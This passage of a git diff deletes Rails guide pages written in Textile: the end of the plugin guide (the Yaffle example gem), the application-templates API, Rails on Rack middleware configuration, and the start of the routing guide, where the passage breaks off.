- assert_equal "last_squawk", Hickwall.yaffle_text_field
- end
-
- def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
- assert_equal "last_tweet", Wickwall.yaffle_text_field
- end
-
- def test_hickwalls_squawk_should_populate_last_squawk
- hickwall = Hickwall.new
- hickwall.squawk("Hello World")
- assert_equal "squawk! Hello World", hickwall.last_squawk
- end
-
- def test_wickwalls_squawk_should_populate_last_tweet
- wickwall = Wickwall.new
- wickwall.squawk("Hello World")
- assert_equal "squawk! Hello World", wickwall.last_tweet
- end
-end
-</ruby>
-
-Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'",
-then update 'acts_as_yaffle.rb' to look like this:
-
-<ruby>
-# yaffle/lib/yaffle/acts_as_yaffle.rb
-
-module Yaffle
- module ActsAsYaffle
- extend ActiveSupport::Concern
-
- included do
- end
-
- module ClassMethods
- def acts_as_yaffle(options = {})
- cattr_accessor :yaffle_text_field
- self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
- end
- end
-
- def squawk(string)
- write_attribute(self.class.yaffle_text_field, string.to_squawk)
- end
-
- end
-end
-
-ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
-</ruby>
-
-Run +rake+ one final time and you should see:
-
-<shell>
- 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips
-</shell>
-
-NOTE: The use of +write_attribute+ to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use <tt>send("#{self.class.yaffle_text_field}=", string.to_squawk)</tt>.
-
-h3. Generators
-
-Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about
-the creation of generators can be found in the "Generators Guide":generators.html
-
-h3. Publishing your Gem
-
-Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply
-commit the code to a Git repository (like Github) and add a line to the Gemfile of the application in question:
-
-<ruby>
-gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git'
-</ruby>
-
-After running +bundle install+, your gem functionality will be available to the application.
-
-When the gem is ready to be shared as a formal release, it can be published to "RubyGems":http://www.rubygems.org.
-For more information about publishing gems to RubyGems, see: "http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html":http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html
-
-h3. Non-Gem Plugins
-
-Non-gem plugins are useful for functionality that won't be shared with another project. Keeping your custom functionality in the
-vendor/plugins directory un-clutters the rest of the application.
-
-Move the directory that you created for the gem based plugin into the vendor/plugins directory of a generated Rails application, create a vendor/plugins/yaffle/init.rb file that contains "require 'yaffle'" and everything will still work.
-
-<ruby>
-# yaffle/init.rb
-
-require 'yaffle'
-</ruby>
-
-You can test this by changing to the Rails application that you added the plugin to and starting a rails console. Once in the
-console we can check to see if the String has an instance method to_squawk:
-
-<shell>
-$ cd my_app
-$ rails console
-$ "Rails plugins are easy!".to_squawk
-</shell>
-
-You can also remove the .gemspec, Gemfile and Gemfile.lock files as they will no longer be needed.
-
-h3. RDoc Documentation
-
-Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
-
-The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:
-
-* Your name
-* How to install
-* How to add the functionality to the app (several examples of common use cases)
-* Warnings, gotchas or tips that might help users and save them time
-
-Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not included in the public api.
-
-Once your comments are good to go, navigate to your plugin directory and run:
-
-<shell>
-$ rake rdoc
-</shell>
-
-h4. References
-
-* "Developing a RubyGem using Bundler":https://github.com/radar/guides/blob/master/gem-development.md
-* "Using Gemspecs As Intended":http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/
-* "Gemspec Reference":http://docs.rubygems.org/read/chapter/20
-* "GemPlugins":http://www.mbleigh.com/2008/06/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins
-* "Keeping init.rb thin":http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html
diff --git a/railties/guides/source/rails_application_templates.textile b/railties/guides/source/rails_application_templates.textile
deleted file mode 100644
index 3b51a52733..0000000000
--- a/railties/guides/source/rails_application_templates.textile
+++ /dev/null
@@ -1,240 +0,0 @@
-h2. Rails Application Templates
-
-Application templates are simple Ruby files containing DSL for adding plugins/gems/initializers etc. to your freshly created Rails project or an existing Rails project.
-
-By referring to this guide, you will be able to:
-
-* Use templates to generate/customize Rails applications
-* Write your own reusable application templates using the Rails template API
-
-endprologue.
-
-h3. Usage
-
-To apply a template, you need to provide the Rails generator with the location of the template you wish to apply, using -m option. This can either be path to a file or a URL.
-
-<shell>
-$ rails new blog -m ~/template.rb
-$ rails new blog -m http://example.com/template.rb
-</shell>
-
-You can use the rake task +rails:template+ to apply templates to an existing Rails application. The location of the template needs to be passed in to an environment variable named LOCATION. Again, this can either be path to a file or a URL.
-
-<shell>
-$ rake rails:template LOCATION=~/template.rb
-$ rake rails:template LOCATION=http://example.com/template.rb
-</shell>
-
-h3. Template API
-
-Rails templates API is very self explanatory and easy to understand. Here's an example of a typical Rails template:
-
-<ruby>
-# template.rb
-run "rm public/index.html"
-generate(:scaffold, "person name:string")
-route "root :to => 'people#index'"
-rake("db:migrate")
-
-git :init
-git :add => "."
-git :commit => "-a -m 'Initial commit'"
-</ruby>
-
-The following sections outlines the primary methods provided by the API:
-
-h4. gem(name, options = {})
-
-Adds a +gem+ entry for the supplied gem to the generated application’s +Gemfile+.
-
-For example, if your application depends on the gems +bj+ and +nokogiri+:
-
-<ruby>
-gem "bj"
-gem "nokogiri"
-</ruby>
-
-Please note that this will NOT install the gems for you and you will have to run +bundle install+ to do that.
-
-<ruby>
-bundle install
-</ruby>
-
-h4. gem_group(*names, &block)
-
-Wraps gem entries inside a group.
-
-For example, if you want to load +rspec-rails+ only in +development+ and +test+ group:
-
-<ruby>
-gem_group :development, :test do
- gem "rspec-rails"
-end
-</ruby>
-
-h4. add_source(source, options = {})
-
-Adds the given source to the generated application's +Gemfile+.
-
-For example, if you need to source a gem from "http://code.whytheluckystiff.net":
-
-<ruby>
-add_source "http://code.whytheluckystiff.net"
-</ruby>
-
-h4. plugin(name, options = {})
-
-Installs a plugin to the generated application.
-
-Plugin can be installed from Git:
-
-<ruby>
-plugin 'authentication', :git => 'git://github.com/foor/bar.git'
-</ruby>
-
-You can even install plugins as git submodules:
-
-<ruby>
-plugin 'authentication', :git => 'git://github.com/foor/bar.git',
- :submodule => true
-</ruby>
-
-Please note that you need to +git :init+ before you can install a plugin as a submodule.
-
-Or use plain old SVN:
-
-<ruby>
-plugin 'usingsvn', :svn => 'svn://example.com/usingsvn/trunk'
-</ruby>
-
-h4. vendor/lib/file/initializer(filename, data = nil, &block)
-
-Adds an initializer to the generated application’s +config/initializers+ directory.
-
-Lets say you like using +Object#not_nil?+ and +Object#not_blank?+:
-
-<ruby>
-initializer 'bloatlol.rb', <<-CODE
-class Object
- def not_nil?
- !nil?
- end
-
- def not_blank?
- !blank?
- end
-end
-CODE
-</ruby>
-
-Similarly +lib()+ creates a file in the +lib/+ directory and +vendor()+ creates a file in the +vendor/+ directory.
-
-There is even +file()+, which accepts a relative path from +Rails.root+ and creates all the directories/file needed:
-
-<ruby>
-file 'app/components/foo.rb', <<-CODE
-class Foo
-end
-CODE
-</ruby>
-
-That’ll create +app/components+ directory and put +foo.rb+ in there.
-
-h4. rakefile(filename, data = nil, &block)
-
-Creates a new rake file under +lib/tasks+ with the supplied tasks:
-
-<ruby>
-rakefile("bootstrap.rake") do
- <<-TASK
- namespace :boot do
- task :strap do
- puts "i like boots!"
- end
- end
- TASK
-end
-</ruby>
-
-The above creates +lib/tasks/bootstrap.rake+ with a +boot:strap+ rake task.
-
-h4. generate(what, args)
-
-Runs the supplied rails generator with given arguments.
-
-<ruby>
-generate(:scaffold, "person", "name:string", "address:text", "age:number")
-</ruby>
-
-h4. run(command)
-
-Executes an arbitrary command. Just like the backticks. Let's say you want to remove the +public/index.html+ file:
-
-<ruby>
-run "rm public/index.html"
-</ruby>
-
-h4. rake(command, options = {})
-
-Runs the supplied rake tasks in the Rails application. Let's say you want to migrate the database:
-
-<ruby>
-rake "db:migrate"
-</ruby>
-
-You can also run rake tasks with a different Rails environment:
-
-<ruby>
-rake "db:migrate", :env => 'production'
-</ruby>
-
-h4. route(routing_code)
-
-This adds a routing entry to the +config/routes.rb+ file. In above steps, we generated a person scaffold and also removed +public/index.html+. Now to make +PeopleController#index+ as the default page for the application:
-
-<ruby>
-route "root :to => 'person#index'"
-</ruby>
-
-h4. inside(dir)
-
-Enables you to run a command from the given directory. For example, if you have a copy of edge rails that you wish to symlink from your new apps, you can do this:
-
-<ruby>
-inside('vendor') do
- run "ln -s ~/commit-rails/rails rails"
-end
-</ruby>
-
-h4. ask(question)
-
-+ask()+ gives you a chance to get some feedback from the user and use it in your templates. Lets say you want your user to name the new shiny library you’re adding:
-
-<ruby>
-lib_name = ask("What do you want to call the shiny library ?")
-lib_name << ".rb" unless lib_name.index(".rb")
-
-lib lib_name, <<-CODE
-class Shiny
-end
-CODE
-</ruby>
-
-h4. yes?(question) or no?(question)
-
-These methods let you ask questions from templates and decide the flow based on the user’s answer. Lets say you want to freeze rails only if the user want to:
-
-<ruby>
-rake("rails:freeze:gems") if yes?("Freeze rails gems ?")
-no?(question) acts just the opposite.
-</ruby>
-
-h4. git(:command)
-
-Rails templates let you run any git command:
-
-<ruby>
-git :init
-git :add => "."
-git :commit => "-a -m 'Initial commit'"
-</ruby>
diff --git a/railties/guides/source/rails_on_rack.textile b/railties/guides/source/rails_on_rack.textile
deleted file mode 100644
index 57c03b54dc..0000000000
--- a/railties/guides/source/rails_on_rack.textile
+++ /dev/null
@@ -1,234 +0,0 @@
-h2. Rails on Rack
-
-This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to:
-
-* Create Rails Metal applications
-* Use Rack Middlewares in your Rails applications
-* Understand Action Pack's internal Middleware stack
-* Define a custom Middleware stack
-
-endprologue.
-
-WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and +Rack::Builder+.
-
-h3. Introduction to Rack
-
-bq. Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
-
-- "Rack API Documentation":http://rack.rubyforge.org/doc/
-
-Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the "Resources":#resources section below.
-
-h3. Rails on Rack
-
-h4. Rails Application's Rack Object
-
-<tt>ActionController::Dispatcher.new</tt> is the primary Rack application object of a Rails application. Any Rack compliant web server should be using +ActionController::Dispatcher.new+ object to serve a Rails application.
-
-h4. +rails server+
-
-<tt>rails server</tt> does the basic job of creating a +Rack::Builder+ object and starting the webserver. This is Rails' equivalent of Rack's +rackup+ script.
-
-Here's how +rails server+ creates an instance of +Rack::Builder+
-
-<ruby>
-app = Rack::Builder.new {
- use Rails::Rack::LogTailer unless options[:detach]
- use Rails::Rack::Debugger if options[:debugger]
- use ActionDispatch::Static
- run ActionController::Dispatcher.new
-}.to_app
-</ruby>
-
-Middlewares used in the code above are primarily useful only in the development environment. The following table explains their usage:
-
-|_.Middleware|_.Purpose|
-|+Rails::Rack::LogTailer+|Appends log file output to console|
-|+ActionDispatch::Static+|Serves static files inside +Rails.root/public+ directory|
-|+Rails::Rack::Debugger+|Starts Debugger|
-
-h4. +rackup+
-
-To use +rackup+ instead of Rails' +rails server+, you can put the following inside +config.ru+ of your Rails application's root directory:
-
-<ruby>
-# Rails.root/config.ru
-require "config/environment"
-
-use Rails::Rack::LogTailer
-use ActionDispatch::Static
-run ActionController::Dispatcher.new
-</ruby>
-
-And start the server:
-
-<shell>
-$ rackup config.ru
-</shell>
-
-To find out more about different +rackup+ options:
-
-<shell>
-$ rackup --help
-</shell>
-
-h3. Action Controller Middleware Stack
-
-Many of Action Controller's internal components are implemented as Rack middlewares. +ActionController::Dispatcher+ uses +ActionController::MiddlewareStack+ to combine various internal and external middlewares to form a complete Rails Rack application.
-
-NOTE: +ActionController::MiddlewareStack+ is Rails' equivalent of +Rack::Builder+, but built for better flexibility and more features to meet Rails' requirements.
-
-h4. Inspecting Middleware Stack
-
-Rails has a handy rake task for inspecting the middleware stack in use:
-
-<shell>
-$ rake middleware
-</shell>
-
-For a freshly generated Rails application, this might produce something like:
-
-<ruby>
-use ActionDispatch::Static
-use Rack::Lock
-use ActiveSupport::Cache::Strategy::LocalCache
-use Rack::Runtime
-use Rails::Rack::Logger
-use ActionDispatch::ShowExceptions
-use ActionDispatch::RemoteIp
-use Rack::Sendfile
-use ActionDispatch::Callbacks
-use ActiveRecord::ConnectionAdapters::ConnectionManagement
-use ActiveRecord::QueryCache
-use ActionDispatch::Cookies
-use ActionDispatch::Session::CookieStore
-use ActionDispatch::Flash
-use ActionDispatch::ParamsParser
-use Rack::MethodOverride
-use ActionDispatch::Head
-use ActionDispatch::BestStandardsSupport
-run Blog::Application.routes
-</ruby>
-
-Purpose of each of this middlewares is explained in the "Internal Middlewares":#internal-middleware-stack section.
-
-h4. Configuring Middleware Stack
-
-Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +application.rb+ or the environment specific configuration file <tt>environments/&lt;environment&gt;.rb</tt>.
-
-h5. Adding a Middleware
-
-You can add a new middleware to the middleware stack using any of the following methods:
-
-* <tt>config.middleware.use(new_middleware, args)</tt> - Adds the new middleware at the bottom of the middleware stack.
-
-* <tt>config.middleware.insert_before(existing_middleware, new_middleware, args)</tt> - Adds the new middleware before the specified existing middleware in the middleware stack.
-
-* <tt>config.middleware.insert_after(existing_middleware, new_middleware, args)</tt> - Adds the new middleware after the specified existing middleware in the middleware stack.
-
-<ruby>
-# config/application.rb
-
-# Push Rack::BounceFavicon at the bottom
-config.middleware.use Rack::BounceFavicon
-
-# Add Lifo::Cache after ActiveRecord::QueryCache.
-# Pass { :page_cache => false } argument to Lifo::Cache.
-config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, :page_cache => false
-</ruby>
-
-h5. Swapping a Middleware
-
-You can swap an existing middleware in the middleware stack using +config.middleware.swap+.
-
-<ruby>
-# config/application.rb
-
-# Replace ActionController::Failsafe with Lifo::Failsafe
-config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
-</ruby>
-
-h5. Middleware Stack is an Array
-
-The middleware stack behaves just like a normal +Array+. You can use any +Array+ methods to insert, reorder, or remove items from the stack. Methods described in the section above are just convenience methods.
-
-For example, the following removes the middleware matching the supplied class name:
-
-<ruby>
-config.middleware.delete(middleware)
-</ruby>
-
-h4. Internal Middleware Stack
-
-Much of Action Controller's functionality is implemented as Middlewares. The following table explains the purpose of each of them:
-
-|_.Middleware|_.Purpose|
-|+Rack::Lock+|Sets <tt>env["rack.multithread"]</tt> flag to +true+ and wraps the application within a Mutex.|
-|+ActionController::Failsafe+|Returns HTTP Status +500+ to the client if an exception gets raised while dispatching.|
-|+ActiveRecord::QueryCache+|Enables the Active Record query cache.|
-|+ActionController::Session::CookieStore+|Uses the cookie based session store.|
-|+ActionController::Session::MemCacheStore+|Uses the memcached based session store.|
-|+ActiveRecord::SessionStore+|Uses the database based session store.|
-|+Rack::MethodOverride+|Sets HTTP method based on +_method+ parameter or <tt>env["HTTP_X_HTTP_METHOD_OVERRIDE"]</tt>.|
-|+Rack::Head+|Discards the response body if the client sends a +HEAD+ request.|
-
-TIP: It's possible to use any of the above middlewares in your custom Rack stack.
-
-h4. Customizing Internal Middleware Stack
-
-It's possible to replace the entire middleware stack with a custom stack using <tt>ActionController::Dispatcher.middleware=</tt>.
-
-Put the following in an initializer:
-
-<ruby>
-# config/initializers/stack.rb
-ActionController::Dispatcher.middleware = ActionController::MiddlewareStack.new do |m|
- m.use ActionController::Failsafe
- m.use ActiveRecord::QueryCache
- m.use Rack::Head
-end
-</ruby>
-
-And now inspecting the middleware stack:
-
-<shell>
-$ rake middleware
-(in /Users/lifo/Rails/blog)
-use ActionController::Failsafe
-use ActiveRecord::QueryCache
-use Rack::Head
-run ActionController::Dispatcher.new
-</shell>
-
-h4. Using Rack Builder
-
-The following shows how to replace use +Rack::Builder+ instead of the Rails supplied +MiddlewareStack+.
-
-<strong>Clear the existing Rails middleware stack</strong>
-
-<ruby>
-# config/application.rb
-config.middleware.clear
-</ruby>
-
-<br />
-<strong>Add a +config.ru+ file to +Rails.root+</strong>
-
-<ruby>
-# config.ru
-use MyOwnStackFromScratch
-run ActionController::Dispatcher.new
-</ruby>
-
-h3. Resources
-
-h4. Learning Rack
-
-* "Official Rack Website":http://rack.github.com
-* "Introducing Rack":http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html
-* "Ruby on Rack #1 - Hello Rack!":http://m.onkey.org/ruby-on-rack-1-hello-rack
-* "Ruby on Rack #2 - The Builder":http://m.onkey.org/ruby-on-rack-2-the-builder
-
-h4. Understanding Middlewares
-
-* "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware
diff --git a/railties/guides/source/routing.textile b/railties/guides/source/routing.textile
deleted file mode 100644
index f281009fee..0000000000
--- a/railties/guides/source/routing.textile
+++ /dev/null
@@ -1,885 +0,0 @@
-h2. Rails Routing from the Outside In
-
-This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:
-
-* Understand the code in +routes.rb+
-* Construct your own routes, using either the preferred resourceful style or the <tt>match</tt> method
-* Identify what parameters to expect an action to receive
-* Automatically create paths and URLs using route helpers
-* Use advanced techniques such as constraints and Rack endpoints
-
-endprologue.
-
-h3. The Purpose of the Rails Router
-
-The Rails router recognizes URLs and dispatches them to a controller's action. It can also generate paths and URLs, avoiding the need to hardcode strings in your views.
-
-h4. Connecting URLs to Code
-
-When your Rails application receives an incoming request
-
-<plain>
-GET /patients/17
-</plain>
-
-it asks the router to match it to a controller action. If the first matching route is
-
-<ruby>
-match "/patients/:id" => "patients#show"
-</ruby>
-
-the request is dispatched to the +patients+ controller's +show+ action with <tt>{ :id => "17" }</tt> in +params+.
-
-h4. Generating Paths and URLs from Code
-
-You can also generate paths and URLs. If your application contains this code:
-
-<ruby>
-@patient = Patient.find(17)
-</ruby>
-
-<erb>
-<%= link_to "Patient Record", patient_path(@patient) %>
-</erb>
-
-The router will generate the path +/patients/17+. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper.
-
-h3. Resource Routing: the Rails Default
-
-Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your +index+, +show+, +new+, +edit+, +create+, +update+ and +destroy+ actions, a resourceful route declares them in a single line of code.
-
-h4. Resources on the Web
-
-Browsers request pages from Rails by making a request for a URL using a specific HTTP method, such as +GET+, +POST+, +PUT+ and +DELETE+. Each method is a request to perform an operation on the resource. A resource route maps a number of related requests to actions in a single controller.
-
-When your Rails application receives an incoming request for
-
-<plain>
-DELETE /photos/17
-</plain>
-
-it asks the router to map it to a controller action. If the first matching route is
-
-<ruby>
-resources :photos
-</ruby>
-
-Rails would dispatch that request to the +destroy+ method on the +photos+ controller with <tt>{ :id => "17" }</tt> in +params+.
-
-h4. CRUD, Verbs, and Actions
-
-In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as
-
-<ruby>
-resources :photos
-</ruby>
-
-creates seven different routes in your application, all mapping to the +Photos+ controller:
-
-|_. HTTP Verb |_.Path |_.action |_.used for |
-|GET |/photos |index |display a list of all photos |
-|GET |/photos/new |new |return an HTML form for creating a new photo |
-|POST |/photos |create |create a new photo |
-|GET |/photos/:id |show |display a specific photo |
-|GET |/photos/:id/edit |edit |return an HTML form for editing a photo |
-|PUT |/photos/:id |update |update a specific photo |
-|DELETE |/photos/:id |destroy |delete a specific photo |
-
-
-NOTE: Rails routes are matched in the order they are specified, so if you have a +resources :photos+ above a +get 'photos/poll'+ the +show+ action's route for the +resources+ line will be matched before the +get+ line. To fix this, move the +get+ line *above* the +resources+ line so that it is matched first.
-
-h4. Paths and URLs
-
-Creating a resourceful route will also expose a number of helpers to the controllers in your application. In the case of +resources :photos+:
-
-* +photos_path+ returns +/photos+
-* +new_photo_path+ returns +/photos/new+
-* +edit_photo_path(:id)+ returns +/photos/:id/edit+ (for instance, +edit_photo_path(10)+ returns +/photos/10/edit+)
-* +photo_path(:id)+ returns +/photos/:id+ (for instance, +photo_path(10)+ returns +/photos/10+)
-
-Each of these helpers has a corresponding +_url+ helper (such as +photos_url+) which returns the same path prefixed with the current host, port and path prefix.
-
-NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions.
-
-h4. Defining Multiple Resources at the Same Time
-
-If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to +resources+:
-
-<ruby>
-resources :photos, :books, :videos
-</ruby>
-
-This works exactly the same as
-
-<ruby>
-resources :photos
-resources :books
-resources :videos
-</ruby>
-
-h4. Singular Resources
-
-Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like +/profile+ to always show the profile of the currently logged in user. In this case, you can use a singular resource to map +/profile+ (rather than +/profile/:id+) to the +show+ action.
-
-<ruby>
-match "profile" => "users#show"
-</ruby>
-
-This resourceful route
-
-<ruby>
-resource :geocoder
-</ruby>
-
-creates six different routes in your application, all mapping to the +Geocoders+ controller:
-
-|_.HTTP Verb |_.Path |_.action |_.used for |
-|GET |/geocoder/new |new |return an HTML form for creating the geocoder |
-|POST |/geocoder |create |create the new geocoder |
-|GET |/geocoder |show |display the one and only geocoder resource |
-|GET |/geocoder/edit |edit |return an HTML form for editing the geocoder |
-|PUT |/geocoder |update |update the one and only geocoder resource |
-|DELETE |/geocoder |destroy |delete the geocoder resource |
-
-NOTE: Because you might want to use the same controller for a singular route (+/account+) and a plural route (+/accounts/45+), singular resources map to plural controllers.
-
-A singular resourceful route generates these helpers:
-
-* +new_geocoder_path+ returns +/geocoder/new+
-* +edit_geocoder_path+ returns +/geocoder/edit+
-* +geocoder_path+ returns +/geocoder+
-
-As with plural resources, the same helpers ending in +_url+ will also include the host, port and path prefix.
-
-h4. Controller Namespaces and Routing
-
-You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an +Admin::+ namespace. You would place these controllers under the +app/controllers/admin+ directory, and you can group them together in your router:
-
-<ruby>
-namespace :admin do
- resources :posts, :comments
-end
-</ruby>
-
-This will create a number of routes for each of the +posts+ and +comments+ controller. For +Admin::PostsController+, Rails will create:
-
-|_.HTTP Verb |_.Path |_.action |_.named helper |
-|GET |/admin/posts |index | admin_posts_path |
-|GET |/admin/posts/new |new | new_admin_post_path |
-|POST |/admin/posts |create | admin_posts_path |
-|GET |/admin/posts/:id |show | admin_post_path(:id) |
-|GET |/admin/posts/:id/edit |edit | edit_admin_post_path(:id) |
-|PUT |/admin/posts/:id |update | admin_post_path(:id) |
-|DELETE |/admin/posts/:id |destroy | admin_post_path(:id) |
-
-If you want to route +/posts+ (without the prefix +/admin+) to +Admin::PostsController+, you could use
-
-<ruby>
-scope :module => "admin" do
- resources :posts, :comments
-end
-</ruby>
-
-or, for a single case
-
-<ruby>
-resources :posts, :module => "admin"
-</ruby>
-
-If you want to route +/admin/posts+ to +PostsController+ (without the +Admin::+ module prefix), you could use
-
-<ruby>
-scope "/admin" do
- resources :posts, :comments
-end
-</ruby>
-
-or, for a single case
-
-<ruby>
-resources :posts, :path => "/admin/posts"
-</ruby>
-
-In each of these cases, the named routes remain the same as if you did not use +scope+. In the last case, the following paths map to +PostsController+:
-
-|_.HTTP Verb |_.Path |_.action |_.named helper |
-|GET |/admin/posts |index | posts_path |
-|GET |/admin/posts/new |new | new_post_path |
-|POST |/admin/posts |create | posts_path |
-|GET |/admin/posts/:id |show | post_path(:id) |
-|GET |/admin/posts/:id/edit|edit | edit_post_path(:id)|
-|PUT |/admin/posts/:id |update | post_path(:id) |
-|DELETE |/admin/posts/:id |destroy | post_path(:id) |
-
-h4. Nested Resources
-
-It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:
-
-<ruby>
-class Magazine < ActiveRecord::Base
- has_many :ads
-end
-
-class Ad < ActiveRecord::Base
- belongs_to :magazine
-end
-</ruby>
-
-Nested routes allow you to capture this relationship in your routing. In this case, you could include this route declaration:
-
-<ruby>
-resources :magazines do
- resources :ads
-end
-</ruby>
-
-In addition to the routes for magazines, this declaration will also route ads to an +AdsController+. The ad URLs require a magazine:
-
-|_.HTTP Verb |_.Path |_.action |_.used for |
-|GET |/magazines/:id/ads |index |display a list of all ads for a specific magazine |
-|GET |/magazines/:id/ads/new |new |return an HTML form for creating a new ad belonging to a specific magazine |
-|POST |/magazines/:id/ads |create |create a new ad belonging to a specific magazine |
-|GET |/magazines/:id/ads/:id |show |display a specific ad belonging to a specific magazine |
-|GET |/magazines/:id/ads/:id/edit |edit |return an HTML form for editing an ad belonging to a specific magazine |
-|PUT |/magazines/:id/ads/:id |update |update a specific ad belonging to a specific magazine |
-|DELETE |/magazines/:id/ads/:id |destroy |delete a specific ad belonging to a specific magazine |
-
-
-This will also create routing helpers such as +magazine_ads_url+ and +edit_magazine_ad_path+. These helpers take an instance of Magazine as the first parameter (+magazine_ads_url(@magazine)+).
-
-h5. Limits to Nesting
-
-You can nest resources within other nested resources if you like. For example:
-
-<ruby>
-resources :publishers do
- resources :magazines do
- resources :photos
- end
-end
-</ruby>
-
-Deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize paths such as
-
-<pre>
-/publishers/1/magazines/2/photos/3
-</pre>
-
-The corresponding route helper would be +publisher_magazine_photo_url+, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular "article":http://weblog.jamisbuck.org/2007/2/5/nesting-resources by Jamis Buck proposes a rule of thumb for good Rails design:
-
-TIP: _Resources should never be nested more than 1 level deep._
-
-h4. Creating Paths and URLs From Objects
-
-In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes:
-
-<ruby>
-resources :magazines do
- resources :ads
-end
-</ruby>
-
-When using +magazine_ad_path+, you can pass in instances of +Magazine+ and +Ad+ instead of the numeric IDs.
-
-<erb>
-<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %>
-</erb>
-
-You can also use +url_for+ with a set of objects, and Rails will automatically determine which route you want:
-
-<erb>
-<%= link_to "Ad details", url_for([@magazine, @ad]) %>
-</erb>
-
-In this case, Rails will see that +@magazine+ is a +Magazine+ and +@ad+ is an +Ad+ and will therefore use the +magazine_ad_path+ helper. In helpers like +link_to+, you can specify just the object in place of the full +url_for+ call:
-
-<erb>
-<%= link_to "Ad details", [@magazine, @ad] %>
-</erb>
-
-If you wanted to link to just a magazine, you could leave out the +Array+:
-
-<erb>
-<%= link_to "Magazine details", @magazine %>
-</erb>
-
-This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style.
-
-h4. Adding More RESTful Actions
-
-You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional routes that apply to the collection or individual members of the collection.
-
-h5. Adding Member Routes
-
-To add a member route, just add a +member+ block into the resource block:
-
-<ruby>
-resources :photos do
- member do
- get 'preview'
- end
-end
-</ruby>
-
-This will recognize +/photos/1/preview+ with GET, and route to the +preview+ action of +PhotosController+. It will also create the +preview_photo_url+ and +preview_photo_path+ helpers.
-
-Within the block of member routes, each route name specifies the HTTP verb that it will recognize. You can use +get+, +put+, +post+, or +delete+ here. If you don't have multiple +member+ routes, you can also pass +:on+ to a route, eliminating the block:
-
-<ruby>
-resources :photos do
- get 'preview', :on => :member
-end
-</ruby>
-
-h5. Adding Collection Routes
-
-To add a route to the collection:
-
-<ruby>
-resources :photos do
- collection do
- get 'search'
- end
-end
-</ruby>
-
-This will enable Rails to recognize paths such as +/photos/search+ with GET, and route to the +search+ action of +PhotosController+. It will also create the +search_photos_url+ and +search_photos_path+ route helpers.
-
-Just as with member routes, you can pass +:on+ to a route:
-
-<ruby>
-resources :photos do
- get 'search', :on => :collection
-end
-</ruby>
-
-h5. A Note of Caution
-
-If you find yourself adding many extra actions to a resourceful route, it's time to stop and ask yourself whether you're disguising the presence of another resource.
-
-h3. Non-Resourceful Routes
-
-In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route within your application separately.
-
-While you should usually use resourceful routing, there are still many places where the simpler routing is more appropriate. There's no need to try to shoehorn every last piece of your application into a resourceful framework if that's not a good fit.
-
-In particular, simple routing makes it very easy to map legacy URLs to new Rails actions.
-
-h4. Bound Parameters
-
-When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: +:controller+ maps to the name of a controller in your application, and +:action+ maps to the name of an action within that controller. For example, consider one of the default Rails routes:
-
-<ruby>
-match ':controller(/:action(/:id))'
-</ruby>
-
-If an incoming request of +/photos/show/1+ is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the +show+ action of the +PhotosController+, and to make the final parameter +"1"+ available as +params[:id]+. This route will also route the incoming request of +/photos+ to +PhotosController#index+, since +:action+ and +:id+ are optional parameters, denoted by parentheses.
-
-h4. Dynamic Segments
-
-You can set up as many dynamic segments within a regular route as you like. Anything other than +:controller+ or +:action+ will be available to the action as part of +params+. If you set up this route:
-
-<ruby>
-match ':controller/:action/:id/:user_id'
-</ruby>
-
-An incoming path of +/photos/show/1/2+ will be dispatched to the +show+ action of the +PhotosController+. +params[:id]+ will be +"1"+, and +params[:user_id]+ will be +"2"+.
-
-NOTE: You can't use +namespace+ or +:module+ with a +:controller+ path segment. If you need to do this then use a constraint on :controller that matches the namespace you require. e.g:
-
-<ruby>
